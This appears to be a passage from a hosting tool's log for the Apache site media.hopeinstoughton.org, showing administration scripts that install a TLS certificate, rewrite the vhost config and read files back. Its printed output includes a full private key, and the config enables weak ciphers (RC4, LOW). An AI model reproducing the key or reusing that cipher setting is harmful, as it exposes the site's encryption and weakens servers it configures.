bPV/HUTMpTQam7Bh1IQ3d9R5wnQUhfDVjGAQEC3+7mcfn/GCF85e1tY+RjThoicC
OdnjiyjgGas6jBERNKcaAurcc44+rEOcL5wvKoz9AoGBAL+SS6twoMdw8ujAQFEl
HZPFgl2prcAYpgvim3uHPSWKXc+Ea06tkFHOA9/mgqwZPVxTztvN+M+i/C2GyG3T
YHzAbdjaMKXi4ZqGouXGFgqA+oljPNHlaSOtotNnm8Q44YlcbXp+y/hpOLbPmp8d
/DM4tifAkmI/TRKup0hMdq4x
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-09 11:29:16: 

chmod 755 /tmp/pkp981063; /tmp/pkp981063; rm /tmp/pkp981063

2025-10-09 11:29:16: 


dir=/etc/ssl/certs


2025-10-09 11:29:16: 

PUT: /tmp/pkp669773

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-09 11:29:16: 

chmod 755 /tmp/pkp669773; /tmp/pkp669773; rm /tmp/pkp669773

2025-10-09 11:29:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf 49

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-09 11:29:16: 

PUT: /tmp/pkp697808

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_media_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_media_org.conf= 1'
fi


2025-10-09 11:29:16: 

chmod 755 /tmp/pkp697808; /tmp/pkp697808; rm /tmp/pkp697808

2025-10-09 11:29:16: 




2025-10-09 11:29:16: 

PUT: /tmp/pkp224330

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-09 11:29:16: 

chmod 755 /tmp/pkp224330; /tmp/pkp224330; rm /tmp/pkp224330

2025-10-09 11:29:17: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:29:17: Establishing a connection
2025-10-09 11:29:17: 

PUT: /tmp/pkp103945

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-09 11:29:17: 

chmod 755 /tmp/pkp103945; /tmp/pkp103945; rm /tmp/pkp103945

2025-10-09 11:29:17: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-09 11:29:17: 

PUT: /tmp/pkp662366

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:29:17: 

chmod 755 /tmp/pkp662366; /tmp/pkp662366; rm /tmp/pkp662366

2025-10-09 11:29:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf	1673

<VirtualHost *:80>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	media.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt
    DocumentRoot	/var/www/hopeinstoughton_media/public
    <Directory /var/www/hopeinstoughton_media>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Directory /var/www/hopeinstoughton_media/public/static>
        Header	add Access-Control-Allow-Origin "*"
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/media_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/media_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-09 11:29:17: 

PUT: /tmp/pkp840340

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-09 11:29:17: 

chmod 755 /tmp/pkp840340; /tmp/pkp840340; rm /tmp/pkp840340

2025-10-09 11:29:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/761f20410d05cde2a6e96bdaa7145760.crt	5377
aa:8d:26:e3:d4:80:5f:30:31:e2:50:0c:d9:d6:d8:a4

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBvFWDJoJgTcgw8699OnQlDaqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDA5MTAzMDQ0WhcNMjYwMTA3MTAzMDQzWjAkMSIwIAYDVQQD
ExltZWRpYS5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAtyrRuZc8DY7lnSS6I9bYpzvcYgsXqeQa93ld5wZQvpl56eH6
nhn1/1IootanCh2BotxUspFobKLtEAG6bqERFP/PIWgEN7KRlVEr0UJ90WrSRfcq
EtQAdpIOUiuvHpPZQG/3H8Nu4+cLkLQMPougneTifWs1smOCAL07PY6V/p0VXyp6
JNMaxEOTd2ysE+A+SaUU8MlSu7RrDs7HtuYEiuMU//BrahtLtVBdp5fKbDXedknI
cle3ArerKb5s+0IhlgKvow0CUtDoExLzMQvW7LBAE/OirImkCCxhwERJFXAmyL+H
oqM6lCKcfNjNCaOX6+CSiCz9tKhwnqHWVlsJGwIDAQABo4ICKTCCAiUwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBQOcAPawv8YmkyX370TuzlR92y+iDAfBgNVHSMEGDAW
gBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1lZGlhLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcw
JTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80My5jcmwwggEEBgorBgEE
AdZ5AgQCBIH1BIHyAPAAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnIu3t3AAAEAwBHMEUCIQCNBhliVIr626ReraUgcCjcuWBcAJRr/jArGozA
WrIEqgIgPxISo5y0bcB9sx8OM+xOgJV9n6BcRY7wUYBe/xWZLO8AdgDLOPcViXyE
oURfW8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZnIu4NVAAAEAwBHMEUCIQDaSzWK
cJbWAgRYigKes7pcV3WHY0AQ9zB7Z27Twp6k9gIgBep6gRoTvogI4f9OI1xxUdj2
ZvoAbjhs/EZoFy+wKykwDQYJKoZIhvcNAQELBQADggEBAGoY73R6loOdEUFWIEYL
L9+lGpPitNRCv1YC/goEyGQhRhObWq6/Ls8LwwtF0XcBYpA9eQGE1kJW6umfQ+DO
4AWTPu8giHH7iFk9voiuneq9XA/57D118o0I/EAbPPwxb4NSdEl/ojOBcuceId/H
OVBMC2X/S98OZ4D/83hvxumAf1layVr/8slvbSbTmzHnywHhHewB9yrzvcAUnCwi
bMHqOgupXIfYuf2behfFdGcsjid+Ce0q6Swrjjg49iJlOxsDvHOhVO8DRtmAhsfS
gLakFA+5SDz4fFxrVHzwR/Pwg/9tNcfpUdoLCyp5vqirjMP0htNOjahII6+NaWvH
B1U=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KtG5lzwNjuWd
JLoj1tinO9xiCxep5Br3eV3nBlC+mXnp4fqeGfX/Uiii1qcKHYGi3FSykWhsou0Q
AbpuoREU/88haAQ3spGVUSvRQn3RatJF9yoS1AB2kg5SK68ek9lAb/cfw27j5wuQ
tAw+i6Cd5OJ9azWyY4IAvTs9jpX+nRVfKnok0xrEQ5N3bKwT4D5JpRTwyVK7tGsO
zse25gSK4xT/8GtqG0u1UF2nl8psNd52SchyV7cCt6spvmz7QiGWAq+jDQJS0OgT
EvMxC9bssEAT86KsiaQILGHAREkVcCbIv4eiozqUIpx82M0Jo5fr4JKILP20qHCe
odZWWwkbAgMBAAECggEATqRZy189b2zM9P1R1hVmi9bNtmKg1FaVpW88e/ZgMJVg
nKRjoAHxdp/lxpR2v4cPo8cJrmlz9kC1m8vCKcGJvgRfAC7SsL9AdmWVdJEhyAof
Id8O92qCkGYBNBKBa5V7D4mDBuY39C2873H+V9RHL8OX4tVnBqJmrL6ScsmHaPt6
O/Xc9tj9GVpHjvlg/6c8GmGBo04CBNHbYQ0pFLdsegGnVJ2l5hrW4q9REmCngbEV
bkgFmfDeAhX6LJe9/oBUP6TrY26ygM8HuE+nLBw/Br8/kYvnzKvL8SxBRQeAOfLZ
THaCgGGr+jumCZm9oozG1lvryMyvAfZXA9glZvtR8QKBgQDpX2fxEFeCkFij0U6f
y/hKe1csaeqb8t3iiPX1gXFFRqeU3Ij1uOYEzZ3AbViiM+Ei38ctzQR6X/aKr9YT
dVzbTs/BUZPKwOksfikgsOdEMiIBOt3OcUjHqM+nTflWQ87tQykIr0neGLvYTNrl
RQQ0WAtQMnVHrv7ZjsnqNRAYLwKBgQDI7UDvVdM+zXYlTC8duLN+07r0+9ZZmFjC
r/KajFsPygbUPOf0l/anyPsgqQbSwAgZW51VytdShFStFwf4FL/t78ZKjP3whNg+
PDah5q7MT2WOaXm/2L5jwqf7quTEL/wQ7sfoVXqMLLmllqyOzhSvqbdJ+HoVMx9B
RBLdvrM21QKBgG+MuQRTSWERWi1DuQ9M0evYNPz3y7qrRkAoM1kcfGYeta/EEntR
3DDjj8oQ+lLd9XlT+cL8wm00PYZhMjSu3qm9bDT9p2U8/LfVvhbwODsys2pfFvK8
14sIN+nCrbH8S4bBmXWbQ/WzYOatJdx9NttGUnINDF4tWYfoZr9aiczlAoGBALQ7
der6PqJwJRFx1DXB72jNvj9xA6acrMn+kA0n56szGosZEyxpf/yjoPh8Bj3Xuawd
bPV/HUTMpTQam7Bh1IQ3d9R5wnQUhfDVjGAQEC3+7mcfn/GCF85e1tY+RjThoicC
OdnjiyjgGas6jBERNKcaAurcc44+rEOcL5wvKoz9AoGBAL+SS6twoMdw8ujAQFEl
HZPFgl2prcAYpgvim3uHPSWKXc+Ea06tkFHOA9/mgqwZPVxTztvN+M+i/C2GyG3T
YHzAbdjaMKXi4ZqGouXGFgqA+oljPNHlaSOtotNnm8Q44YlcbXp+y/hpOLbPmp8d
/DM4tifAkmI/TRKup0hMdq4x
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
